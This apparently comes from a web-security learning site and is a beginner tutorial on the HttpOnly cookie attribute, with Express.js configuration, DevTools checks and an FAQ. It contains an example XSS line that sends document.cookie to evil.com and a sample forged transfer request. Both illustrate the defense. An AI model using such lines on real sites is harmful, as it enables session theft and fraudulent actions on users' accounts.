HTTP

Cookie Attribute

HttpOnly Cookie Attribute: XSS Protection

Learn how the HttpOnly cookie attribute protects against XSS attacks by preventing JavaScript access to sensitive cookies.

3 min read beginner Try in Playground

TL;DR: HttpOnly prevents JavaScript from accessing cookies. Always use it for session cookies to limit XSS damage.

What is HttpOnly?

HttpOnly makes cookies invisible to JavaScript. The browser still sends them with requests, but document.cookie can’t see them.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
```text

## Why HttpOnly Matters

Without HttpOnly, XSS attacks can steal session cookies:

```javascript
// XSS attack stealing cookies
fetch('https://evil.com/steal?cookie=' + document.cookie)

With HttpOnly, the session cookie isn’t in document.cookie, so it can’t be stolen this way.

With vs Without HttpOnly

// Server sets two cookies:
// Set-Cookie: session=secret; HttpOnly
// Set-Cookie: theme=dark

console.log(document.cookie)
// Output: "theme=dark"
// session cookie is hidden
```text

## Implementation

### Express.js

```javascript
// Session cookie - always HttpOnly
res.cookie('session', sessionId, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'
})

// CSRF token - needs JS access, so NOT HttpOnly
res.cookie('csrf', csrfToken, {
  httpOnly: false, // JS needs to read this
  secure: true,
  sameSite: 'strict'
})

With express-session

app.use(
  session({
    cookie: {
      httpOnly: true, // Default is true
      secure: true,
      sameSite: 'lax'
    }
  })
)
```text

## What HttpOnly Does NOT Do

HttpOnly limits XSS damage but doesn't prevent:

- **XSS attacks** - Attacker can still run code
- **Session riding** - Attacker can make requests as user
- **Cookie theft via other means** - Network sniffing (use Secure)

```javascript
// Even with HttpOnly, XSS can still do damage:
// Make authenticated requests
fetch('/api/transfer', {
  method: 'POST',
  body: JSON.stringify({ to: 'attacker', amount: 1000 }),
  credentials: 'include' // Cookies sent automatically
})

When to Use HttpOnly

Cookie TypeHttpOnly?
Session ID✅ Yes
Auth token✅ Yes
CSRF token❌ No (JS needs it)
User preferences❌ No (if JS reads)
Analytics IDDepends

Common Mistakes

// ❌ Wrong: Session cookie without HttpOnly
res.cookie('session', token, { secure: true })

// ✅ Correct: Always HttpOnly for sessions
res.cookie('session', token, { httpOnly: true, secure: true })
```text

```javascript
// ❌ Wrong: Storing sensitive data in non-HttpOnly cookie
res.cookie('user', JSON.stringify(userData)) // XSS can read this

// ✅ Correct: Keep sensitive data server-side
// Only store session ID in cookie, fetch user data via API

Defense in Depth

HttpOnly is one layer. Combine with:

  1. Content Security Policy - Prevent inline scripts
  2. Input validation - Block XSS at source
  3. Output encoding - Escape user content
  4. SameSite - Prevent CSRF
  5. Secure - HTTPS only

Testing HttpOnly Cookies in DevTools

You can verify that a cookie has the HttpOnly attribute using browser DevTools. In Chrome or Firefox, open DevTools, go to the Application tab (Chrome) or Storage tab (Firefox), and select Cookies under the domain. The HttpOnly column shows a checkmark for cookies with the attribute set.

To confirm that HttpOnly cookies are invisible to JavaScript, open the Console tab and type document.cookie. HttpOnly cookies will not appear in the output, even though they are being sent with every request to the server. You can verify they are being sent by checking the Network tab — look at the request headers for any request to your domain and you will see the Cookie header includes the HttpOnly cookie.

Using curl -I https://your-site.com/login and inspecting the Set-Cookie response headers is another quick way to audit cookie attributes in CI/CD pipelines or automated security checks. Look for HttpOnly in the cookie attributes. If it is missing from session or authentication cookies, that is a security finding that should be addressed before deployment.

Frequently Asked Questions

What is the HttpOnly cookie attribute?

HttpOnly prevents JavaScript from accessing the cookie via document.cookie. The cookie is still sent with HTTP requests but can't be read or modified by scripts.

Does HttpOnly prevent XSS attacks?

HttpOnly mitigates XSS impact by preventing cookie theft, but doesn't prevent XSS itself. Attackers can still perform actions as the user; they just can't steal the session.

Should all cookies be HttpOnly?

Session and authentication cookies should always be HttpOnly. Cookies that JavaScript needs to read (like CSRF tokens or preferences) cannot be HttpOnly.

Can HttpOnly cookies be modified?

Not by JavaScript. They can only be set and modified by the server via Set-Cookie headers.

Keep Learning